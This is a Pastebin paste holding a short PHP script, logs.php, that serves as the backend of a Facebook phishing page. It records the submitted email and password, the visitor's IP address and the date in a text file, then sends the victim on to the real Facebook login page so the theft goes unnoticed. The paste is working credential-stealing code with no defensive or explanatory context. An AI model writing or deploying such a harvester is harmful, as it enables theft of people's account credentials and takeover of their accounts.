Advertisement
flazer

logs.php

Jan 14th, 2012
254
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.88 KB | None | 0 0
  1. <?php
  2. $file = "logs.txt";
  3. $username = $_POST['email'];
  4. $password = $_POST['pass'];
  5. $ip = $_SERVER['REMOTE_ADDR'];
  6. $today = date("F j, Y, g:i a");
  7.  
  8. $handle = fopen($file, 'a');
  9. fwrite($handle, "++++++++++++++++++++++++++++++++++++++++++++++++++++");
  10. fwrite($handle, "\n");
  11. fwrite($handle, "Email: ");
  12. fwrite($handle, "$username");
  13. fwrite($handle, "\n");
  14. fwrite($handle, "Password: ");
  15. fwrite($handle, "$password");
  16. fwrite($handle, "\n");
  17. fwrite($handle, "IP Address: ");
  18. fwrite($handle, "$ip");
  19. fwrite($handle, "\n");
  20. fwrite($handle, "Date Submitted: ");
  21. fwrite($handle, "$today");
  22. fwrite($handle, "\n");
  23. fwrite($handle, "++++++++++++++++++++++++++++++++++++++++++++++++++++");
  24. fwrite($handle, "\n");
  25. fwrite($handle, "\n");
  26. fclose($handle);
  27. echo "<script LANGUAGE=\"JavaScript\">
  28. window.location=\"https://login.facebook.com/login.php?login_attempt=1\";
  29. </script>";
  30. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement